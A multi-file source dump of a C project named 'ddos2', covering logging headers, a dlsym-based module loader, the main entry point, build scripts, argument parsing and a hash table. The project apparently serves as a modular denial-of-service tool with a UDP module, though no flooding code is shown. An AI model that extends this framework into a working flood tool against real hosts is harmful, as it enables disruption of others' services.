#define HEADER "\033[95m" 35 | #define OKBLUE "\033[94m" 36 | #define OKGREEN "\033[92m" 37 | #define ORANGE "\033[33m" 38 | #define WARNING "\033[93m" 39 | #define FAIL "\033[91m" 40 | #define ENDC "\033[0m" 41 | #define BOLD "\033[1m" 42 | #define UNDERLINE "\033[4m" 43 | #define BLINK "\033[33;5m" 44 | 45 | #define INFO "%s[*]:%s", OKBLUE, ENDC 46 | #define ERROR "%s[-]:%s", FAIL, ENDC 47 | #define WARN "%s[!]:%s", WARNING, ENDC 48 | #define SUCCESS "%s[+]:%s", OKGREEN, ENDC 49 | 50 | #define PRINT_FORMATTED(STYLE) \ 51 | va_list args; \ 52 | va_start(args, format); \ 53 | flockfile(stdout); \ 54 | printf("\33[2K"); \ 55 | printf(STYLE); \ 56 | vprintf(format, args); \ 57 | printf("\n"); \ 58 | funlockfile(stdout); \ 59 | va_end(args) 60 | 61 | #define PRINT_FORMATTED_NO_NEWLINE(STYLE) \ 62 | va_list args; \ 63 | va_start(args, format); \ 64 | printf(STYLE); \ 65 | vprintf(format, args); \ 66 | va_end(args) 67 | 68 | extern uint8_t log_level; 69 | 70 | void debug_warn(const char* format, ...); 71 | void debug(const char* format, ...); 72 | void info(const char* format, ...); 73 | void warn(const char* format, ...); 74 | void error(const char* format, ...); 75 | void success(const char* format, ...); 76 | void die(const char* format, ...); 77 | 78 | 79 | void set_loglevel(uint8_t _log_level); 80 | void add_loglevel(uint8_t _log_level); 81 | void remove_loglevel(uint8_t _log_level); 82 | 83 | #endif /* message_h */ 84 | -------------------------------------------------------------------------------- /library/libddos2/message.h: -------------------------------------------------------------------------------- 1 | // 2 | // message.h 3 | // ddos-2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef message_h 10 | #define message_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #define LVL_DEBUG 0b0000001 21 | #define LVL_INFO 0b0000010 22 | #define LVL_SUCCESS 0b0000100 23 | #define LVL_WARN 0b0001000 24 | #define LVL_ERROR 0b0010000 25 | #define LVL_FATAL 0b0100000 26 | #define LVL_STATUS 0b1000000 27 | 28 | #define LVL_FULL 0b1111111 29 | #define LVL_RELEASE 0b1111110 30 | #define LVL_NONE 0b0000000 31 | #define LVL_FAST 0b0110000 32 | #define LVL_STAT 0b1100000 //shows only status and fatal errors 33 | 34 | #define HEADER "\033[95m" 35 | #define OKBLUE "\033[94m" 36 | #define OKGREEN "\033[92m" 37 | #define ORANGE "\033[33m" 38 | #define WARNING "\033[93m" 39 | #define FAIL "\033[91m" 40 | #define ENDC "\033[0m" 41 | #define BOLD "\033[1m" 42 | #define UNDERLINE "\033[4m" 43 | #define BLINK "\033[33;5m" 44 | 45 | #define INFO "%s[*]:%s", OKBLUE, ENDC 46 | #define ERROR "%s[-]:%s", FAIL, ENDC 47 | #define WARN "%s[!]:%s", WARNING, ENDC 48 | #define SUCCESS "%s[+]:%s", OKGREEN, ENDC 49 | 50 | #define PRINT_FORMATTED(STYLE) \ 51 | va_list args; \ 52 | va_start(args, format); \ 53 | flockfile(stdout); \ 54 | printf("\33[2K"); \ 55 | printf(STYLE); \ 56 | vprintf(format, args); \ 57 | printf("\n"); \ 58 | funlockfile(stdout); \ 59 | va_end(args) 60 | 61 | #define PRINT_FORMATTED_NO_NEWLINE(STYLE) \ 62 | va_list args; \ 63 | va_start(args, format); \ 64 | printf(STYLE); \ 65 | vprintf(format, args); \ 66 | va_end(args) 67 | 68 | void debug_warn(const char* format, ...); 69 | void debug(const char* format, ...); 70 | void info(const char* format, ...); 71 | void warn(const char* format, ...); 72 | void error(const char* format, ...); 73 | void success(const char* format, ...); 74 | void die(const char* format, ...); 75 | /* 76 | void set_loglevel(uint8_t _log_level); 77 | void add_loglevel(uint8_t _log_level); 78 | void remove_loglevel(uint8_t _log_level); 79 | */ 80 | void message_begin(uint8_t* __log_level); 81 | 82 | #endif /* message_h */ 83 | -------------------------------------------------------------------------------- /library/include/ddos2/message.h: -------------------------------------------------------------------------------- 1 | // 2 | // message.h 3 | // ddos-2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef message_h 10 | #define message_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #define LVL_DEBUG 0b0000001 21 | #define LVL_INFO 0b0000010 22 | #define LVL_SUCCESS 0b0000100 23 | #define LVL_WARN 0b0001000 24 | #define LVL_ERROR 0b0010000 25 | #define LVL_FATAL 0b0100000 26 | #define LVL_STATUS 0b1000000 27 | 28 | #define LVL_FULL 0b1111111 29 | #define LVL_RELEASE 0b1111110 30 | #define LVL_NONE 0b0000000 31 | #define LVL_FAST 0b0110000 32 | #define LVL_STAT 0b1100000 //shows only status and fatal errors 33 | 34 | #define HEADER "\033[95m" 35 | #define OKBLUE "\033[94m" 36 | #define OKGREEN "\033[92m" 37 | #define ORANGE "\033[33m" 38 | #define WARNING "\033[93m" 39 | #define FAIL "\033[91m" 40 | #define ENDC "\033[0m" 41 | #define BOLD "\033[1m" 42 | #define UNDERLINE "\033[4m" 43 | #define BLINK "\033[33;5m" 44 | 45 | #define INFO "%s[*]:%s", OKBLUE, ENDC 46 | #define ERROR "%s[-]:%s", FAIL, ENDC 47 | #define WARN "%s[!]:%s", WARNING, ENDC 48 | #define SUCCESS "%s[+]:%s", OKGREEN, ENDC 49 | 50 | #define PRINT_FORMATTED(STYLE) \ 51 | va_list args; \ 52 | va_start(args, format); \ 53 | flockfile(stdout); \ 54 | printf("\33[2K"); \ 55 | printf(STYLE); \ 56 | vprintf(format, args); \ 57 | printf("\n"); \ 58 | funlockfile(stdout); \ 59 | va_end(args) 60 | 61 | #define PRINT_FORMATTED_NO_NEWLINE(STYLE) \ 62 | va_list args; \ 63 | va_start(args, format); \ 64 | printf(STYLE); \ 65 | vprintf(format, args); \ 66 | va_end(args) 67 | 68 | void debug_warn(const char* format, ...); 69 | void debug(const char* format, ...); 70 | void info(const char* format, ...); 71 | void warn(const char* format, ...); 72 | void error(const char* format, ...); 73 | void success(const char* format, ...); 74 | void die(const char* format, ...); 75 | /* 76 | void set_loglevel(uint8_t _log_level); 77 | void add_loglevel(uint8_t _log_level); 78 | void remove_loglevel(uint8_t _log_level); 79 | */ 80 | void message_begin(uint8_t* __log_level); 81 | 82 | #endif /* message_h */ 83 | -------------------------------------------------------------------------------- /src/module.h: -------------------------------------------------------------------------------- 1 | // 2 | // module.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef module_h 10 | #define module_h 11 | 12 | #include "array.h" 13 | #include "hashtable.h" 14 | #include "cache.h" 15 | 16 | #include 17 | 18 | /* Macroses only for use inside of load_module() */ 19 | #define _MOD_IMPORT_SYMBOL(TYPE, NAME, VAR_NAME) \ 20 | TYPE VAR_NAME = *(TYPE *)dlsym(module->handle, NAME); \ 21 | _error=dlerror(); \ 22 | if(_error!=NULL){ \ 23 | error("Failed to get module symbol from %s: %s",path, _error); \ 24 | free(module); \ 25 | return NULL; \ 26 | } 27 | 28 | #define _MOD_IMPORT_FUNCTION(NAME, ATTRIB_NAME) \ 29 | module->ATTRIB_NAME=dlsym(module->handle, NAME); \ 30 | _error=dlerror(); \ 31 | if(_error!=NULL){ \ 32 | error("Failed to get module function from %s: %s",path, _error); \ 33 | free(module); \ 34 | return NULL; \ 35 | } 36 | 37 | #define _MOD_STR_SET(NAME, VAR) \ 38 | module->NAME=(char*)malloc((strlen(VAR)+1)*sizeof(char)); \ 39 | strcpy(module->NAME, VAR); 40 | 41 | #define _MOD_SUMMARY_PRINT(SECTION,PARAM_NAME) \ 42 | printf("%s%s",BOLD,UNDERLINE); \ 43 | printf(SECTION); \ 44 | printf("%s\n",ENDC); \ 45 | printf("%s\n",module->PARAM_NAME); 46 | 47 | /* Structures */ 48 | 49 | typedef struct{ 50 | char* name; 51 | char* author; 52 | char* description; 53 | char* version; 54 | } module_config_t; 55 | 56 | typedef struct{ 57 | hashtable* arguments; 58 | hashtable* network_ifaces; 59 | bool net_stats; 60 | const char* version; 61 | uint8_t* log_byte; 62 | cache_t* cache; 63 | } program_config_t; 64 | 65 | typedef struct{ 66 | void* handle; 67 | char* name; 68 | char* author; 69 | char* description; 70 | char* version; 71 | char* filename; 72 | module_config_t* (*mod_on_load)(program_config_t* config); 73 | void (*mod_on_init)(void); 74 | void (*mod_on_run)(void); 75 | } module_t; 76 | 77 | /* Function prototypes */ 78 | void modules_begin(void); 79 | void modules_configure(const char* version); 80 | module_t* module_load(char* path); 81 | void module_summary(module_t* module); 82 | void modules_load(char* path); 83 | void modules_list(void); 84 | module_t* module_get(char* name); 85 | void modules_on_init(void); 86 | 87 | #endif /* module_h */ 88 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | // 2 | // main.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include 10 | #include "message.h" 11 | #include "arguments.h" 12 | #include "commons.h" 13 | #include "module.h" 14 | #include "network.h" 15 | #include "config.h" 16 | 17 | int main(int argc, const char * argv[]) { 18 | printf(BLINK); 19 | printf(WARNING); 20 | printf(BOLD); 21 | printf(" ( ( ) (\n"); 22 | printf(" )\\ ) )\\ ) ( /( )\\ ) )\n"); 23 | printf("(()/((()/( )\\())(()/( ( /(\n"); 24 | printf("/(_))/(_))((_)\\ /(_)) )(_))\n"); 25 | printf("(_))_(_))_ ((_)(_)) ((_)\n"); 26 | printf(ENDC); 27 | printf(WARNING); 28 | printf(BOLD); 29 | printf("| \\| \\ / _ \\/ __| |_ )\n"); 30 | printf("| |) | |) | (_) \\__ \\ / /\n"); 31 | printf("|___/|___/ \\___/|___/ /___| \n"); 32 | printf(" Version %s\n",VERSION); 33 | printf(ENDC); 34 | #if DEBUG 35 | set_loglevel(LVL_FULL); 36 | #else 37 | set_loglevel(LVL_RELEASE); 38 | #endif 39 | 40 | info("Built with %s %s at %s %s",__COMPILER,__VERSION__,__DATE__,__TIME__); 41 | ch_local_dir(argv[0]); 42 | 43 | arguments_begin(); 44 | modules_begin(); 45 | network_begin(); 46 | modules_configure(VERSION); 47 | modules_load(MODULES_DIR); 48 | 49 | argument_add_compulsory("--module", "Module to run.", ARG_STR); 50 | argument_add("--ls-modules","List all modules loaded.",ARG_BOOL,argbool(false),true,true); 51 | argument_add("--mod-summary","Show extended information about module.",ARG_BOOL,argbool(false),true,false); 52 | argument_add("--ls-ifaces", "List network interfaces.", ARG_BOOL,argbool(false),true,true);//DONE: This is, so called help argument. Should set that after implementing it in arguments.c 53 | argument_add("--net-no-stats", "Disable packets and byte counting for interfaces", ARG_BOOL, argbool(false),true,false); 54 | 55 | 56 | arguments_parse(argc, argv, 1); 57 | 58 | 59 | if(argument_value_get_s("--ls-modules", ARG_BOOL).boolValue){ 60 | modules_list(); 61 | return 0; 62 | } 63 | if(argument_value_get_s("--ls-ifaces", ARG_BOOL).boolValue){ 64 | network_print_ifaces(); 65 | return 0; 66 | } 67 | if(argument_value_get_s("--mod-summary", ARG_BOOL).boolValue){ 68 | argvalue value=argument_value_get_s("--module", ARG_STR); 69 | char* mod_name=value.strValue; 70 | module_t* module=module_get(mod_name); 71 | module_summary(module); 72 | } 73 | 74 | modules_on_init(); 75 | 76 | module_t* mod=module_get(argument_value_get_s("--module", ARG_STR).strValue); 77 | mod->mod_on_run(); //Run selected module 78 | 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /Buildfile: -------------------------------------------------------------------------------- 1 | BASEDIR=`pwd` 2 | CC="gcc" 3 | CFLAGS="-Wall -I${BASEDIR}/library/libddos2" 4 | LD="ld" 5 | LD_FLAGS="-ldl" 6 | OBJ_DIR="obj/" 7 | BIN_DIR="bin/" 8 | LIB_DIR="lib/" 9 | MODULES_DIR="modules/" 10 | MODULES_BIN="bin/modules/" 11 | EXECUTABLE="ddos2" 12 | 13 | declare -a SOURCES=("message" "array" "hashtable" "cache" "commons" "network" "module" "arguments" "main") 14 | declare -a MODULES=("mod_a" "mod_udp") 15 | 16 | cd $BASEDIR 17 | 18 | target_check(){ 19 | require_command $CC 20 | require_command $LD 21 | } 22 | target_clean(){ 23 | info "Cleaning up." 24 | exec "rm -rf ${OBJ_DIR}" 25 | exec "rm -rf ${BIN_DIR}" 26 | exec "rm -rf ${LIB_DIR}" 27 | success "Cleaned." 28 | } 29 | 30 | target_library(){ 31 | change_dir "library/libddos2" 32 | exec "./build.sh release" #TODO:In debug – set debug target 33 | leave_dir 34 | } 35 | 36 | target_library-debug(){ 37 | change_dir "library/libddos2" 38 | exec "./build.sh debug" 39 | leave_dir 40 | } 41 | 42 | target_debug(){ 43 | target_check 44 | CC="gcc-9" 45 | require_command $CC 46 | info "Building debug." 47 | require_directory $OBJ_DIR 48 | require_directory $BIN_DIR 49 | require_directory $MODULES_BIN 50 | leave_dir 51 | for file in "${SOURCES[@]}" 52 | do 53 | exec "${CC} -c ${CFLAGS} -fsanitize=leak -fsanitize=address -fsanitize=undefined src/${file}.c -o ${OBJ_DIR}${file}.o" 54 | done 55 | change_dir $OBJ_DIR 56 | objects=$(printf " %s.o" "${SOURCES[@]}") 57 | exec "${CC} ${LD_FLAGS} -lasan -lubsan -o ${BASEDIR}/${BIN_DIR}${EXECUTABLE} ${objects}" 58 | leave_dir 59 | success "Succesfully built debug." 60 | } 61 | 62 | target_release(){ 63 | info "Building release." 64 | require_directory $OBJ_DIR 65 | require_directory $BIN_DIR 66 | require_directory $MODULES_BIN 67 | for file in "${SOURCES[@]}" 68 | do 69 | exec "${CC} -c ${CFLAGS} -Ofast src/${file}.c -o ${OBJ_DIR}${file}.o" 70 | done 71 | change_dir $OBJ_DIR 72 | objects=$(printf " %s.o" "${SOURCES[@]}") 73 | exec "${CC} ${LD_FLAGS} -o ${BASEDIR}/${BIN_DIR}${EXECUTABLE} ${objects}" 74 | leave_dir 75 | success "Succesfully built release." 76 | } 77 | 78 | target_modules(){ 79 | target_library 80 | info "Building modules." 81 | require_directory $BIN_DIR 82 | require_directory $MODULES_BIN 83 | for module in "${MODULES[@]}" 84 | do 85 | change_dir $MODULES_DIR 86 | change_dir $module 87 | exec "./build.sh all" 88 | leave_dir 89 | done 90 | success "Succesfully built modules." 91 | } 92 | 93 | 94 | 95 | target_all(){ 96 | target_release 97 | target_modules 98 | } 99 | 100 | target_all-debug(){ 101 | target_library-debug 102 | target_debug 103 | target_modules 104 | } 105 | 106 | target_test(){ 107 | target_all 108 | exec "./bin/ddos2 --module mod_a --test" 109 | } 110 | -------------------------------------------------------------------------------- /modules/mod_a/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd $(dirname `which $0`) 3 | 4 | BASEDIR=`pwd` 5 | 6 | # Colors 7 | if test -t 1; then 8 | bold=$(tput bold) 9 | normal=$(tput sgr0) 10 | red=$(tput setaf 1) 11 | green=$(tput setaf 2) 12 | blue=$(tput setaf 4) 13 | yellow=$(tput setaf 11) 14 | else 15 | echo "[!]: No colors will be available: not supported." 16 | fi 17 | 18 | error(){ 19 | echo "${bold}${red}[-]:${normal}${1}" 20 | } 21 | 22 | success(){ 23 | echo "${bold}${green}[+]:${normal}${1}" 24 | } 25 | 26 | warn(){ 27 | echo "${bold}${yellow}[!]:${normal}${1}" 28 | } 29 | 30 | info(){ 31 | echo "${bold}${blue}[*]:${normal}${1}" 32 | } 33 | 34 | exec(){ 35 | info "${1}" 36 | eval "${1}" 37 | code=$? 38 | if [ ! $code -eq 0 ]; then 39 | error "Exec: ${1} failed with non-zero exit code: ${code}" 40 | exit -1 41 | fi 42 | } 43 | 44 | require_directory(){ # Creates directory if not exist 45 | if [ ! -d $1 ]; then 46 | warn "Directory not found: ${1}. Will create it now." 47 | exec "mkdir ${1}" 48 | fi 49 | } 50 | 51 | change_dir(){ 52 | if [ ! -d $1 ]; then 53 | error "No such directory: ${1}" 54 | exit -1 55 | fi 56 | info "Entering directory: ${1}" 57 | cd $1 58 | } 59 | 60 | leave_dir(){ 61 | info "Leaving directory: $(pwd)" 62 | cd $BASEDIR 63 | } 64 | 65 | require_ld_flag(){ 66 | cd /tmp/ 67 | echo "int main(void){ return 0; }" >> /tmp/main.c 68 | gcc -c /tmp/main.c -o /tmp/main.o 69 | ld ${1} /tmp/main.o > /dev/null 70 | code=$? 71 | if [ ! $code -eq 0 ]; then 72 | error "Checking ld has flag ${1}...${red}${bold}FAIL${normal}" 73 | rm -rf /tmp/main.* 74 | rm -rf /tmp/a.out 75 | exit -1 76 | fi 77 | info "Checking ld has flag ${1}...${green}${bold}OK${normal}" 78 | rm -rf /tmp/main.* 79 | rm -rf /tmp/a.out 80 | cd $BASEDIR 81 | } 82 | 83 | check_ld_flag(){ 84 | cd /tmp/ 85 | echo "int main(void){ return 0; }" >> /tmp/main.c 86 | gcc -c /tmp/main.c -o /tmp/main.o 87 | ld ${1} /tmp/main.o >> /dev/null 2>&1 88 | code=$? 89 | if [ ! $code -eq 0 ]; then 90 | info "Checking ld has flag ${1}...${red}${bold}No${normal}" 91 | rm -rf /tmp/main.* 92 | rm -rf /tmp/a.out 93 | cd $BASEDIR 94 | return -1 95 | fi 96 | info "Checking ld has flag ${1}...${green}${bold}Yes${normal}" 97 | rm -rf /tmp/main.* 98 | rm -rf /tmp/a.out 99 | cd $BASEDIR 100 | return 0 101 | } 102 | 103 | if [ $# -eq 0 ]; then 104 | error "Please specify target. Use -h option for help." 105 | exit -1 106 | fi 107 | 108 | if [[ $1 == "-h" ]]; then 109 | echo "Usage:"$0" <-h> [all|debug|release|clean|library]" 110 | echo "-h Display this help message and exit." 111 | echo "all Builds mod_a" 112 | exit 0 113 | fi 114 | 115 | source Buildfile 116 | 117 | if [[ `type -t "target_${1}"` == "function" ]]; then 118 | eval "target_${1}" 119 | success "Done." 120 | else 121 | error "No such target:${1}." 122 | fi 123 | -------------------------------------------------------------------------------- /modules/mod_udp/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd $(dirname `which $0`) 3 | 4 | # Colors 5 | if test -t 1; then 6 | bold=$(tput bold) 7 | normal=$(tput sgr0) 8 | red=$(tput setaf 1) 9 | green=$(tput setaf 2) 10 | blue=$(tput setaf 4) 11 | yellow=$(tput setaf 11) 12 | else 13 | echo "[!]: No colors will be available: not supported." 14 | fi 15 | 16 | error(){ 17 | echo "${bold}${red}[-]:${normal}${1}" 18 | } 19 | 20 | success(){ 21 | echo "${bold}${green}[+]:${normal}${1}" 22 | } 23 | 24 | warn(){ 25 | echo "${bold}${yellow}[!]:${normal}${1}" 26 | } 27 | 28 | info(){ 29 | echo "${bold}${blue}[*]:${normal}${1}" 30 | } 31 | 32 | exec(){ 33 | info "${1}" 34 | eval "${1}" 35 | code=$? 36 | if [ ! $code -eq 0 ]; then 37 | error "Exec: ${1} failed with non-zero exit code: ${code}" 38 | exit -1 39 | fi 40 | } 41 | 42 | require_directory(){ # Creates directory if not exist 43 | if [ ! -d $1 ]; then 44 | warn "Directory not found: ${1}. Will create it now." 45 | exec "mkdir ${1}" 46 | fi 47 | } 48 | 49 | change_dir(){ 50 | if [ ! -d $1 ]; then 51 | error "No such directory: ${1}" 52 | exit -1 53 | fi 54 | info "Entering directory: ${1}" 55 | cd $1 56 | } 57 | 58 | leave_dir(){ 59 | info "Leaving directory: $(pwd)" 60 | cd $BASEDIR 61 | } 62 | 63 | require_ld_flag(){ 64 | cd /tmp/ 65 | echo "int main(void){ return 0; }" >> /tmp/main.c 66 | gcc -c /tmp/main.c -o /tmp/main.o 67 | ld ${1} /tmp/main.o > /dev/null 68 | code=$? 69 | if [ ! $code -eq 0 ]; then 70 | error "Checking ld has flag ${1}...${red}${bold}FAIL${normal}" 71 | rm -rf /tmp/main.* 72 | rm -rf /tmp/a.out 73 | exit -1 74 | fi 75 | info "Checking ld has flag ${1}...${green}${bold}OK${normal}" 76 | rm -rf /tmp/main.* 77 | rm -rf /tmp/a.out 78 | cd $BASEDIR 79 | } 80 | 81 | check_ld_flag(){ 82 | cd /tmp/ 83 | echo "int main(void){ return 0; }" >> /tmp/main.c 84 | gcc -c /tmp/main.c -o /tmp/main.o 85 | ld ${1} /tmp/main.o >> /dev/null 2>&1 86 | code=$? 87 | if [ ! $code -eq 0 ]; then 88 | info "Checking ld has flag ${1}...${red}${bold}No${normal}" 89 | rm -rf /tmp/main.* 90 | rm -rf /tmp/a.out 91 | cd $BASEDIR 92 | return -1 93 | fi 94 | info "Checking ld has flag ${1}...${green}${bold}Yes${normal}" 95 | rm -rf /tmp/main.* 96 | rm -rf /tmp/a.out 97 | cd $BASEDIR 98 | return 0 99 | } 100 | 101 | if [ $# -eq 0 ]; then 102 | error "Please specify target. Use -h option for help." 103 | exit -1 104 | fi 105 | 106 | if [[ $1 == "-h" ]]; then 107 | echo "Usage:"$0" <-h> [all|debug|release|clean|library]" 108 | echo "-h Display this help message and exit." 109 | echo "debug Build in debug mode" 110 | echo "release Build in release mode" 111 | echo "library Build libddos2" 112 | echo "clean Remove obj/ bin/ directories." 113 | exit 0 114 | fi 115 | 116 | source Buildfile 117 | 118 | if [[ `type -t "target_${1}"` == "function" ]]; then 119 | eval "target_${1}" 120 | success "Done." 121 | else 122 | error "No such target:${1}." 123 | fi 124 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at toddot@live.ru. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /library/libddos2/arguments.c: -------------------------------------------------------------------------------- 1 | // 2 | // arguments.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "arguments.h" 10 | #include "message.h" 11 | #include "hashtable.h" 12 | #include "ddos2.h" 13 | 14 | #include 15 | #include 16 | 17 | hashtable* arguments=NULL; 18 | void arguments_begin(hashtable* _arguments){ 19 | arguments=_arguments; 20 | } 21 | bool _argcheck(char *name){ 22 | if(!arguments){ 23 | die("Programming error: arguments==NULL!Have you called arguments_begin()?(%s:%d)"); 24 | } 25 | return hashtbl_check_key(arguments, name); 26 | } 27 | 28 | void _register_argument(argument_t *argument){ 29 | if(!arguments){ 30 | die("Programming error: arguments==NULL!Have you called arguments_begin()?(%s:%d)"); 31 | } 32 | if(!hashtbl_check_key(arguments, argument->name)){ 33 | hashtbl_add(arguments, argument->name, argument); 34 | }else{ 35 | warn("Programming warning: Will not register argument `%s` – already registered(%s:%d)", argument->name,__FILE__, __LINE__); 36 | } 37 | } 38 | 39 | argument_t *argument_create(char* name, char* description, argtype type, bool compulsory, argvalue _default,bool has_default_value, bool is_help, bool array){ 40 | argument_t* argument=(argument_t*)malloc(sizeof(argument_t)); 41 | argument->name=(char*)malloc(sizeof(char)*(strlen(name)+1)); 42 | argument->description=(char*)malloc(sizeof(char)*(strlen(description)+1)); 43 | strcpy(argument->name, name); 44 | strcpy(argument->description, description); 45 | argument->type=type; 46 | argument->compulsory=compulsory; 47 | argument->value=_default; 48 | argument->is_set=has_default_value; 49 | argument->is_help=is_help; 50 | argument->values=NULL; 51 | if(array){ 52 | argument->values=array_create(1); 53 | } 54 | return argument; 55 | } 56 | 57 | 58 | void argument_add_compulsory(char* name, char* description, argtype type){ 59 | if(_argcheck(name)){ 60 | die("Programming error: rewriting argument: %s.(%s:%d)",name,__FILE__,__LINE__); 61 | } 62 | argvalue stub=argint(0); 63 | argument_t *argument=argument_create(name, description, type, true, stub, false, false, false); 64 | _register_argument(argument); 65 | } 66 | 67 | void argument_add(char* name, char* description, argtype type, argvalue _default, bool has_default_value, bool is_help){ 68 | if(_argcheck(name)){ 69 | die("Programming error: rewriting argument: %s.(%s:%d)",name,__FILE__,__LINE__); 70 | } 71 | argument_t *argument=argument_create(name, description, type, false, _default, has_default_value, is_help, false); 72 | _register_argument(argument); 73 | } 74 | 75 | void argument_add_array(char* name, char* description,argtype type, bool compulsory){ 76 | /* Adds argument that creates array of argvalue's 77 | name – Name of an argument 78 | description – description of an argument 79 | type – type of an argument. ARG_BOOL obviously not supported. 80 | compulosry – whether argument needs at least 1 value 81 | */ 82 | argument_t* argument=argument_create(name, description, type, compulsory, argbool(false), false, false, true); 83 | _register_argument(argument); 84 | } 85 | 86 | argument_t* argument_get(char *name){ 87 | if(!_argcheck(name)){ 88 | die("Programming error: Requested unknown argument: %s.(%s:%d).",name,__FILE__,__LINE__); 89 | } 90 | return (argument_t*)hashtbl_get(arguments, name); 91 | } 92 | 93 | bool argument_check(char *name){ 94 | argument_t *argument=argument_get(name); 95 | return argument->is_set; 96 | } 97 | 98 | argvalue argument_value_get(char *name){ 99 | argument_t *argument=argument_get(name); 100 | return argument->value; 101 | } 102 | 103 | -------------------------------------------------------------------------------- /library/libddos2/hashtable.c: -------------------------------------------------------------------------------- 1 | // 2 | // hashtable.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | #include "hashtable.h" 8 | 9 | #include "array.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | unsigned long __hash(unsigned char *str) //djb2 hash by Dan Bernstein 16 | { 17 | unsigned long hash = 5381; 18 | int c; 19 | 20 | while ((c = *str++)){ 21 | hash = ((hash << 5) + hash) + c; /* hash * 33 + c */ 22 | } 23 | 24 | return hash; 25 | } 26 | 27 | unsigned long _hash(unsigned char *str, size_t mod){ //wrapper 28 | return __hash(str)%mod; 29 | } 30 | 31 | void _hashtbl_register(hashtable *tbl,_hashtable_node *node){ 32 | array_add(tbl->keys, node->key);//add key to keys storage 33 | array_add(tbl->values, node->value);//add value to values storage 34 | } 35 | 36 | _hashtable_node *create_node(char *_key,void *_data){ 37 | _hashtable_node *node=malloc(sizeof(_hashtable_node)); 38 | node->next=NULL; 39 | node->value=_data; 40 | node->key=(char *)malloc(sizeof(char)*strlen(_key)+sizeof(char)); 41 | strcpy(node->key, _key); 42 | return node; 43 | } 44 | 45 | 46 | hashtable *hashtbl_create(size_t capacity){ 47 | hashtable *_tbl=(hashtable *)malloc(sizeof(hashtable)); 48 | _tbl->capacity = capacity; 49 | _tbl->sz = 0; 50 | _tbl->base = (_hashtable_node **)malloc(sizeof(_hashtable_node *)*capacity); 51 | _tbl->keys = array_create(1); 52 | _tbl->values = array_create(1); 53 | bzero(_tbl->base, capacity*sizeof(_hashtable_node*)); 54 | return _tbl; 55 | } 56 | 57 | void hashtbl_add(hashtable *tbl, char *key, void *data){ 58 | unsigned long hash = _hash((unsigned char*)key, tbl->capacity); 59 | _hashtable_node *node=create_node(key, data); 60 | if(tbl->base[hash]==NULL){ //If we have not used this hash 61 | tbl->base[hash]=node; //add node directly. 62 | }else{ 63 | _hashtable_node *iterator=tbl->base[hash]; //We used this hash so we need to attach node to last node asscoiated with this hash. 64 | while (iterator->next!=NULL) { 65 | iterator=iterator->next; 66 | } 67 | 